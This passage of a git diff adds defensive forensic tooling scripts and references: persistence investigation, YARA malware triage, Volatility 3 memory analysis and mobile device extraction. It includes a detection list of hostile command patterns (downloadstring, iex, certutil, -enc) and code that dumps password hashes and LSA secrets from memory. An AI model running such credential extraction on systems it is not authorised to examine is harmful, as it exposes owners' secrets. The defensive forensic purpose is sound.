`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` | +| Services | Registry | `SYSTEM\ControlSetXXX\Services` | +| Scheduled Tasks | Filesystem | `C:\Windows\System32\Tasks\` | +| WMI Subscriptions | WMI DB | `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` | +| Startup Folder | Filesystem | `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` | +| COM Hijacking | Registry | `SOFTWARE\Classes\CLSID\{...}\InprocServer32` | + +## Linux Persistence Locations + +| Location | Mechanism | +|----------|-----------| +| `/etc/crontab`, `/etc/cron.d/` | Cron jobs | +| `/etc/systemd/system/*.service` | Systemd services | +| `~/.ssh/authorized_keys` | SSH key persistence | +| `/etc/rc.local` | Boot scripts | +| `/etc/ld.so.preload` | Shared library injection | +| `/etc/pam.d/` | PAM backdoors | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `python-registry` | >=1.4 | Offline Windows registry hive parsing | +| `xml.etree.ElementTree` | stdlib | Scheduled task XML parsing | +| `pathlib` | stdlib | Filesystem traversal | + +## References + +- Autoruns: https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns +- RegRipper: https://github.com/keydet89/RegRipper3.0 +- PersistenceSniper: https://github.com/last-byte/PersistenceSniper +- MITRE ATT&CK Persistence: https://attack.mitre.org/tactics/TA0003/ diff --git a/skills/performing-malware-persistence-investigation/scripts/agent.py b/skills/performing-malware-persistence-investigation/scripts/agent.py new file mode 100644 index 00000000..85d26ef2 --- /dev/null +++ b/skills/performing-malware-persistence-investigation/scripts/agent.py @@ -0,0 +1,251 @@ +#!/usr/bin/env python3 +"""Agent for performing malware persistence investigation. + +Enumerates Windows registry Run keys, services, scheduled tasks, +WMI subscriptions, and Linux cron/systemd persistence mechanisms. +""" + +import json +import sys +import os +import re +import xml.etree.ElementTree as ET +from pathlib import Path +from collections import defaultdict + + +SUSPICIOUS_INDICATORS = [ + "powershell", "cmd /c", "wscript", "cscript", "mshta", + "regsvr32", "rundll32", "certutil", "bitsadmin", + "downloadstring", "invoke-", "iex", "hidden", + "bypass", "base64", "-enc", "-e ", ".ps1", ".vbs", ".hta", + "programdata", "appdata\\local\\temp", "/tmp/", +] + + +class PersistenceInvestigator: + """Investigates malware persistence mechanisms on forensic images.""" + + def __init__(self, evidence_root, output_dir): + self.evidence_root = Path(evidence_root) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _is_suspicious(self, value): + """Check if a value matches suspicious indicators.""" + value_lower = str(value).lower() + return any(ind in value_lower for ind in SUSPICIOUS_INDICATORS) + + def check_registry_run_keys(self): + """Check registry Run keys using python-registry.""" + try: + from Registry import Registry + except ImportError: + return [{"error": "Install python-registry: pip install python-registry"}] + + entries = [] + sw_path = self.evidence_root / "Windows/System32/config/SOFTWARE" + if not sw_path.exists(): + return entries + + reg = Registry.Registry(str(sw_path)) + run_paths = [ + "Microsoft\\Windows\\CurrentVersion\\Run", + "Microsoft\\Windows\\CurrentVersion\\RunOnce", + "Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", + ] + for key_path in run_paths: + try: + key = reg.open(key_path) + for value in key.values(): + entry = { + "location": f"HKLM\\SOFTWARE\\{key_path}", + "name": value.name(), + "value": str(value.value()), + "timestamp": str(key.timestamp()), + "suspicious": self._is_suspicious(str(value.value())), + } + entries.append(entry) + if entry["suspicious"]: + self.findings.append(entry) + except Exception: + continue + return entries + + def check_services(self): + """Check Windows services for suspicious auto-start entries.""" + try: + from Registry import Registry + except ImportError: + return [] + + entries = [] + system_path = self.evidence_root / "Windows/System32/config/SYSTEM" + if not system_path.exists(): + return entries + + reg = Registry.Registry(str(system_path)) + try: + select = reg.open("Select") + current = select.value("Current").value() + cs = f"ControlSet{current:03d}" + services = reg.open(f"{cs}\\Services") + + for svc in services.subkeys(): + try: + start = svc.value("Start").value() + if start not in (0, 1, 2): + continue + image_path = "" + try: + image_path = svc.value("ImagePath").value() + except Exception: + continue + entry = { + "service_name": svc.name(), + "image_path": image_path, + "start_type": start, + "timestamp": str(svc.timestamp()), + "suspicious": self._is_suspicious(image_path), + } + entries.append(entry) + if entry["suspicious"]: + self.findings.append(entry) + except Exception: + continue + except Exception: + pass + return entries + + def check_scheduled_tasks(self): + """Parse Windows scheduled task XML files.""" + tasks_dir = self.evidence_root / "Windows/System32/Tasks" + if not tasks_dir.exists(): + return [] + + entries = [] + ns = {"t": "http://schemas.microsoft.com/windows/2004/02/mit/task"} + + for task_file in tasks_dir.rglob("*"): + if not task_file.is_file(): + continue + try: + tree = ET.parse(str(task_file)) + root = tree.getroot() + for action in root.findall(".//t:Exec", ns): + cmd = action.find("t:Command", ns) + args = action.find("t:Arguments", ns) + cmd_text = cmd.text if cmd is not None else "" + args_text = args.text if args is not None else "" + combined = f"{cmd_text} {args_text}" + entry = { + "task_name": task_file.name, + "command": cmd_text, + "arguments": args_text, + "suspicious": self._is_suspicious(combined), + } + entries.append(entry) + if entry["suspicious"]: + self.findings.append(entry) + except Exception: + continue + return entries + + def check_startup_folder(self): + """Check Windows startup folder contents.""" + entries = [] + startup_paths = [ + "ProgramData/Microsoft/Windows/Start Menu/Programs/Startup", + ] + for user_dir in (self.evidence_root / "Users").iterdir() if (self.evidence_root / "Users").exists() else []: + if user_dir.is_dir(): + startup_paths.append( + f"Users/{user_dir.name}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup" + ) + + for spath in startup_paths: + target = self.evidence_root / spath + if target.exists() and target.is_dir(): + for item in target.iterdir(): + if item.is_file(): + entries.append({ + "location": str(spath), + "filename": item.name, + "size": item.stat().st_size, + "suspicious": self._is_suspicious(item.name), + }) + return entries + + def check_linux_persistence(self): + """Check Linux persistence mechanisms.""" + entries = [] + checks = { + "crontab": "etc/crontab", + "rc_local": "etc/rc.local", + "ld_preload": "etc/ld.so.preload", + } + for name, path in checks.items(): + target = self.evidence_root / path + if target.exists() and target.is_file(): + content = target.read_text(errors="ignore") + entries.append({ + "mechanism": name, + "file": path, + "content_preview": content[:500], + "suspicious": self._is_suspicious(content), + }) + + cron_dirs = ["etc/cron.d", "etc/cron.daily", "var/spool/cron/crontabs"] + for cron_dir in cron_dirs: + target = self.evidence_root / cron_dir + if target.exists() and target.is_dir(): + for f in target.iterdir(): + if f.is_file(): + content = f.read_text(errors="ignore") + entries.append({ + "mechanism": "cron_job", + "file": str(f.relative_to(self.evidence_root)), + "content_preview": content[:300], + }) + + auth_keys_pattern = "home/*/. ssh/authorized_keys".replace(". ", ".") + for ak in self.evidence_root.glob("home/*/.ssh/authorized_keys"): + entries.append({ + "mechanism": "ssh_authorized_keys", + "file": str(ak.relative_to(self.evidence_root)), + "content_preview": ak.read_text(errors="ignore")[:300], + }) + return entries + + def generate_report(self): + """Run all persistence checks and generate report.""" + report = { + "case_output": str(self.output_dir), + "evidence_root": str(self.evidence_root), + "registry_run_keys": self.check_registry_run_keys(), + "services": self.check_services()[:30], + "scheduled_tasks": self.check_scheduled_tasks(), + "startup_folder": self.check_startup_folder(), + "linux_persistence": self.check_linux_persistence(), + "suspicious_findings": self.findings, + "total_suspicious": len(self.findings), + } + + report_path = self.output_dir / "persistence_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py ") + sys.exit(1) + investigator = PersistenceInvestigator(sys.argv[1], sys.argv[2]) + investigator.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-malware-triage-with-yara/LICENSE b/skills/performing-malware-triage-with-yara/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-malware-triage-with-yara/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-malware-triage-with-yara/references/api-reference.md b/skills/performing-malware-triage-with-yara/references/api-reference.md new file mode 100644 index 00000000..ad7f70d7 --- /dev/null +++ b/skills/performing-malware-triage-with-yara/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Malware Triage with YARA + +## yara-python API + +```python +import yara + +# Compile from files +rules = yara.compile(filepaths={"ns1": "rules.yar"}) + +# Compile from string +rules = yara.compile(source='rule test { condition: true }') + +# Scan file +matches = rules.match("/path/to/sample") + +# Scan data +matches = rules.match(data=open("sample", "rb").read()) +``` + +## Match Object Attributes + +| Attribute | Type | Description | +|-----------|------|-------------| +| `match.rule` | str | Name of the matching rule | +| `match.namespace` | str | Rule file namespace | +| `match.tags` | list | Tags from the rule definition | +| `match.meta` | dict | Meta fields (author, description, hash) | +| `match.strings` | list | Matched strings: (offset, identifier, data) | + +## YARA CLI + +| Command | Description | +|---------|-------------| +| `yara rules.yar sample.exe` | Scan file against rules | +| `yara -r rules.yar /dir/` | Recursive directory scan | +| `yara -s rules.yar sample.exe` | Show matching strings | +| `yarac rules.yar compiled.yarc` | Compile rules for faster loading | +| `yara -C rules.yar` | Check rule syntax | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `yara-python` | >=4.3 | YARA rule compilation and scanning | +| `hashlib` | stdlib | Sample hashing (SHA-256, MD5) | + +## References + +- YARA documentation: https://yara.readthedocs.io/ +- yara-python: https://github.com/VirusTotal/yara-python +- YARA-Rules community: https://github.com/Yara-Rules/rules +- Signature-base: https://github.com/Neo23x0/signature-base +- yarGen rule generator: https://github.com/Neo23x0/yarGen diff --git a/skills/performing-malware-triage-with-yara/scripts/agent.py b/skills/performing-malware-triage-with-yara/scripts/agent.py new file mode 100644 index 00000000..9c6fd1e6 --- /dev/null +++ b/skills/performing-malware-triage-with-yara/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""Agent for performing malware triage with YARA. + +Compiles and applies YARA rules to classify malware samples, +perform batch scanning, and generate triage reports. +""" + +import yara +import os +import sys +import json +import hashlib +from pathlib import Path +from collections import defaultdict +from datetime import datetime + + +class YaraTriageAgent: + """Batch malware triage and classification using YARA rules.""" + + def __init__(self, output_dir): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.rules = None + self.results = [] + + def compile_rules(self, rule_paths): + """Compile YARA rules from file paths or directories.""" + filepaths = {} + for path in rule_paths: + p = Path(path) + if p.is_file() and p.suffix in (".yar", ".yara"): + filepaths[p.stem] = str(p) + elif p.is_dir(): + for rule_file in p.rglob("*.yar"): + filepaths[rule_file.stem] = str(rule_file) + for rule_file in p.rglob("*.yara"): + filepaths[rule_file.stem] = str(rule_file) + if not filepaths: + raise ValueError(f"No YARA rule files found in: {rule_paths}") + self.rules = yara.compile(filepaths=filepaths) + return len(filepaths) + + def scan_file(self, filepath): + """Scan a single file against compiled YARA rules.""" + filepath = Path(filepath) + if not filepath.is_file(): + return None + + with open(filepath, "rb") as f: + data = f.read() + + sha256 = hashlib.sha256(data).hexdigest() + md5 = hashlib.md5(data).hexdigest() + matches = self.rules.match(data=data) + + result = { + "filename": filepath.name, + "path": str(filepath), + "sha256": sha256, + "md5": md5, + "size": len(data), + "matches": [], + "match_count": len(matches), + "classification": "UNKNOWN", + } + + for match in matches: + match_info = { + "rule": match.rule, + "namespace": match.namespace, + "tags": match.tags, + "meta": match.meta, + "strings": [], + } + if match.strings: + for string_match in match.strings[:10]: + match_info["strings"].append({ + "identifier": string_match[1], + "offset": hex(string_match[0]), + "data": string_match[2].decode("utf-8", errors="replace")[:80], + }) + result["matches"].append(match_info) + + if result["matches"]: + result["classification"] = result["matches"][0].get("namespace", "DETECTED").upper() + + return result + + def scan_directory(self, sample_dir, recursive=True): + """Scan all files in a directory.""" + sample_path = Path(sample_dir) + glob_fn = sample_path.rglob if recursive else sample_path.glob + + for filepath in glob_fn("*"): + if filepath.is_file() and filepath.stat().st_size > 0: + result = self.scan_file(filepath) + if result: + self.results.append(result) + + return self.results + + def get_classification_summary(self): + """Summarize scan results by classification.""" + summary = defaultdict(int) + for result in self.results: + summary[result["classification"]] += 1 + return dict(sorted(summary.items(), key=lambda x: x[1], reverse=True)) + + def get_top_rules(self, limit=20): + """Get most frequently matching rules.""" + rule_counts = defaultdict(int) + for result in self.results: + for match in result["matches"]: + rule_counts[match["rule"]] += 1 + return dict(sorted(rule_counts.items(), key=lambda x: x[1], reverse=True)[:limit]) + + def generate_report(self): + """Generate comprehensive triage report.""" + classified = [r for r in self.results if r["classification"] != "UNKNOWN"] + unknown = [r for r in self.results if r["classification"] == "UNKNOWN"] + + report = { + "scan_date": datetime.utcnow().isoformat(), + "total_scanned": len(self.results), + "classified": len(classified), + "unknown": len(unknown), + "classification_rate": round( + len(classified) / max(len(self.results), 1) * 100, 1 + ), + "classification_summary": self.get_classification_summary(), + "top_matching_rules": self.get_top_rules(), + "detected_samples": [ + { + "filename": r["filename"], + "sha256": r["sha256"], + "classification": r["classification"], + "rules_matched": [m["rule"] for m in r["matches"]], + } + for r in classified + ], + } + + report_path = self.output_dir / "yara_triage_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(f"YARA Triage Results") + print(f"={'=' * 40}") + print(f"Scanned: {report['total_scanned']}") + print(f"Classified: {report['classified']} ({report['classification_rate']}%)") + print(f"Unknown: {report['unknown']}") + print(f"\nClassification Summary:") + for cls, count in report["classification_summary"].items(): + print(f" {cls}: {count}") + print(f"\nTop Rules:") + for rule, count in list(report["top_matching_rules"].items())[:10]: + print(f" {rule}: {count} matches") + + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [output_dir]") + print(" rules_path: YARA rule file or directory of .yar files") + print(" samples_dir: Directory of files to scan") + sys.exit(1) + + rules_path = sys.argv[1] + samples_dir = sys.argv[2] + output_dir = sys.argv[3] if len(sys.argv) > 3 else "./triage_output" + + agent = YaraTriageAgent(output_dir) + rule_count = agent.compile_rules([rules_path]) + print(f"Compiled {rule_count} rule files") + + agent.scan_directory(samples_dir) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE b/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3-plugins/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-memory-forensics-with-volatility3/LICENSE b/skills/performing-memory-forensics-with-volatility3/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-memory-forensics-with-volatility3/references/api-reference.md b/skills/performing-memory-forensics-with-volatility3/references/api-reference.md new file mode 100644 index 00000000..0bf3700d --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Memory Forensics with Volatility 3 + +## Volatility 3 CLI + +| Plugin | Description | +|--------|-------------| +| `windows.info` | OS version, kernel base, system time | +| `windows.pslist` | List processes via EPROCESS linked list | +| `windows.pstree` | Process tree with parent-child relationships | +| `windows.psscan` | Pool scan for processes (finds hidden) | +| `windows.malfind` | Detect injected code in process memory | +| `windows.netscan` | Active network connections and listening ports | +| `windows.cmdline` | Command line arguments for all processes | +| `windows.dlllist` | DLLs loaded per process | +| `windows.hashdump` | Extract cached NTLM password hashes | +| `windows.lsadump` | LSA secrets from memory | +| `windows.svcscan` | Windows services enumeration | +| `windows.modules` | Loaded kernel modules | +| `windows.modscan` | Pool scan for kernel modules (finds hidden) | +| `windows.registry.hivelist` | List registry hives in memory | +| `windows.registry.printkey` | Print specific registry key values | +| `yarascan` | Scan memory with YARA rules | +| `windows.memmap` | Dump process memory to disk | + +## Common Flags + +| Flag | Description | +|------|-------------| +| `-f ` | Memory dump file path | +| `--pid ` | Filter by process ID | +| `--dump` | Dump matched content to files | +| `-o ` | Output directory for dumps | +| `--yara-file ` | YARA rules file for scanning | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute Volatility 3 CLI commands | +| `re` | stdlib | Parse plugin output | + +## References + +- Volatility 3: https://github.com/volatilityfoundation/volatility3 +- Symbol tables: https://downloads.volatilityfoundation.org/volatility3/symbols/ +- LiME: https://github.com/504ensicsLabs/LiME +- MemProcFS: https://github.com/ufrisk/MemProcFS diff --git a/skills/performing-memory-forensics-with-volatility3/scripts/agent.py b/skills/performing-memory-forensics-with-volatility3/scripts/agent.py new file mode 100644 index 00000000..0485d3ec --- /dev/null +++ b/skills/performing-memory-forensics-with-volatility3/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for performing memory forensics with Volatility 3. + +Automates memory dump analysis including process enumeration, +network connection extraction, malware detection, and credential +extraction using Volatility 3 framework via subprocess. +""" + +import subprocess +import json +import sys +import re +from pathlib import Path +from collections import defaultdict + + +class MemoryForensicsAgent: + """Automates Volatility 3 memory forensics analysis.""" + + def __init__(self, memory_dump, output_dir): + self.memory_dump = memory_dump + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def _run_vol(self, plugin, extra_args=None): + """Execute a Volatility 3 plugin and return output.""" + cmd = ["vol", "-f", self.memory_dump, plugin] + if extra_args: + cmd.extend(extra_args) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return {"output": result.stdout, "stderr": result.stderr, "rc": result.returncode} + + def get_os_info(self): + """Identify the operating system from the memory dump.""" + result = self._run_vol("windows.info") + if result["rc"] != 0: + result = self._run_vol("linux.info") + return result + + def list_processes(self): + """List all running processes.""" + return self._run_vol("windows.pslist") + + def get_process_tree(self): + """Show process tree with parent-child relationships.""" + return self._run_vol("windows.pstree") + + def scan_hidden_processes(self): + """Scan for hidden/unlinked processes via pool scanning.""" + return self._run_vol("windows.psscan") + + def detect_injected_code(self): + """Detect process injection via malfind plugin.""" + return self._run_vol("windows.malfind") + + def get_network_connections(self): + """Extract active network connections.""" + return self._run_vol("windows.netscan") + + def get_command_lines(self): + """Extract command lines for all processes.""" + return self._run_vol("windows.cmdline") + + def dump_process_memory(self, pid): + """Dump memory of a specific process.""" + dump_dir = self.output_dir / "process_dumps" + dump_dir.mkdir(exist_ok=True) + return self._run_vol("windows.memmap", [ + "--pid", str(pid), "--dump", "-o", str(dump_dir) + ]) + + def extract_hashes(self): + """Extract cached password hashes.""" + return self._run_vol("windows.hashdump") + + def scan_with_yara(self, yara_file): + """Scan memory with YARA rules.""" + return self._run_vol("yarascan", ["--yara-file", yara_file]) + + def get_registry_keys(self, key_path): + """Extract specific registry keys from memory.""" + return self._run_vol("windows.registry.printkey", ["--key", key_path]) + + def list_services(self): + """List Windows services from memory.""" + return self._run_vol("windows.svcscan") + + def list_loaded_modules(self): + """List loaded kernel modules.""" + return self._run_vol("windows.modules") + + def scan_hidden_modules(self): + """Scan for hidden kernel modules.""" + return self._run_vol("windows.modscan") + + def get_dll_list(self, pid=None): + """List DLLs loaded by processes.""" + args = ["--pid", str(pid)] if pid else [] + return self._run_vol("windows.dlllist", args if args else None) + + def detect_anomalies(self): + """Compare pslist vs psscan to find hidden processes.""" + pslist = self._run_vol("windows.pslist") + psscan = self._run_vol("windows.psscan") + + pslist_pids = set(re.findall(r"^\s*(\d+)\s", pslist["output"], re.MULTILINE)) + psscan_pids = set(re.findall(r"^\s*(\d+)\s", psscan["output"], re.MULTILINE)) + + hidden = psscan_pids - pslist_pids + return { + "pslist_count": len(pslist_pids), + "psscan_count": len(psscan_pids), + "hidden_pids": sorted(hidden), + "hidden_count": len(hidden), + } + + def generate_report(self, yara_file=None): + """Run comprehensive memory analysis and generate report.""" + report = { + "memory_dump": self.memory_dump, + "os_info": self.get_os_info()["output"][:500], + } + + report["process_list"] = self.list_processes()["output"] + report["process_tree"] = self.get_process_tree()["output"] + report["malfind"] = self.detect_injected_code()["output"] + report["network"] = self.get_network_connections()["output"] + report["cmdline"] = self.get_command_lines()["output"] + report["hashes"] = self.extract_hashes()["output"] + report["services"] = self.list_services()["output"][:2000] + report["hidden_processes"] = self.detect_anomalies() + + if yara_file: + report["yara_hits"] = self.scan_with_yara(yara_file)["output"] + + report_path = self.output_dir / "memory_forensics_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(f"Memory Forensics Report: {report_path}") + print(f"Hidden processes: {report['hidden_processes']['hidden_count']}") + if report["malfind"]["output"].strip(): + print("Malfind detections found - check report for details") + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [yara_rules]") + sys.exit(1) + + memory_dump = sys.argv[1] + output_dir = sys.argv[2] + yara_file = sys.argv[3] if len(sys.argv) > 3 else None + + agent = MemoryForensicsAgent(memory_dump, output_dir) + agent.generate_report(yara_file) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE b/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-mobile-app-certificate-pinning-bypass/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE b/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-mobile-device-forensics-with-cellebrite/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md b/skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md new file mode 100644 index 00000000..3ae01d5b --- /dev/null +++ b/skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Mobile Device Forensics with Cellebrite + +## Key SQLite Databases + +### Android +| Database | Path | Content | +|----------|------|---------| +| mmssms.db | `data/data/com.android.providers.telephony/databases/` | SMS/MMS messages | +| calllog.db | `data/data/com.android.providers.contacts/databases/` | Call logs | +| contacts2.db | `data/data/com.android.providers.contacts/databases/` | Contacts | +| msgstore.db | `data/data/com.whatsapp/databases/` | WhatsApp messages | +| History | `data/data/com.android.chrome/app_chrome/Default/` | Chrome history | + +### iOS +| Database | Path | Content | +|----------|------|---------| +| sms.db | `HomeDomain/Library/SMS/` | iMessage and SMS | +| AddressBook.sqlitedb | `HomeDomain/Library/AddressBook/` | Contacts | +| Safari/History.db | `HomeDomain/Library/Safari/` | Safari browsing history | +| knowledgeC.db | `RootDomain/private/var/db/CoreDuet/Knowledge/` | App usage patterns | + +## ADB Commands (Android) + +| Command | Description | +|---------|-------------| +| `adb devices` | List connected devices | +| `adb backup -apk -shared -all -f backup.ab` | Full device backup | +| `adb pull /data/data//` | Extract app data (root required) | +| `adb shell pm list packages` | List installed packages | + +## libimobiledevice (iOS) + +| Command | Description | +|---------|-------------| +| `idevice_id -l` | List connected iOS devices | +| `ideviceinfo -u ` | Get device information | +| `idevicebackup2 backup --full ` | Create full iOS backup | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `sqlite3` | stdlib | Parse mobile app SQLite databases | +| `csv` | stdlib | Export extracted data | +| `pathlib` | stdlib | Navigate extraction directory structure | + +## References + +- ALEAPP: https://github.com/abrignoni/ALEAPP +- iLEAPP: https://github.com/abrignoni/iLEAPP +- libimobiledevice: https://libimobiledevice.org/ +- Cellebrite UFED: https://cellebrite.com/en/ufed/ diff --git a/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py b/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py new file mode 100644 index 00000000..a2ff3f4c --- /dev/null +++ b/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""Agent for performing mobile device forensics. + +Analyzes mobile device extractions by parsing SQLite databases +for messages, call logs, contacts, and location data from +iOS and Android file system extractions. +""" + +import sqlite3 +import json +import sys +import csv +import os +from pathlib import Path +from datetime import datetime + + +class MobileForensicsAgent: + """Parses mobile device extraction data for forensic analysis.""" + + def __init__(self, extraction_dir, output_dir, platform="android"): + self.extraction_dir = Path(extraction_dir) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.platform = platform + + def _query_db(self, db_path, query, params=None): + """Execute a query against a SQLite database.""" + if not Path(db_path).exists(): + return [] + try: + conn = sqlite3.connect(db_path) + conn.row_factory = sqlite3.Row + cursor = conn.cursor() + cursor.execute(query, params or []) + results = [dict(row) for row in cursor.fetchall()] + conn.close() + return results + except sqlite3.Error as e: + return [{"error": str(e), "db": str(db_path)}] + + def extract_sms_android(self): + """Extract SMS/MMS messages from Android mmssms.db.""" + db_path = 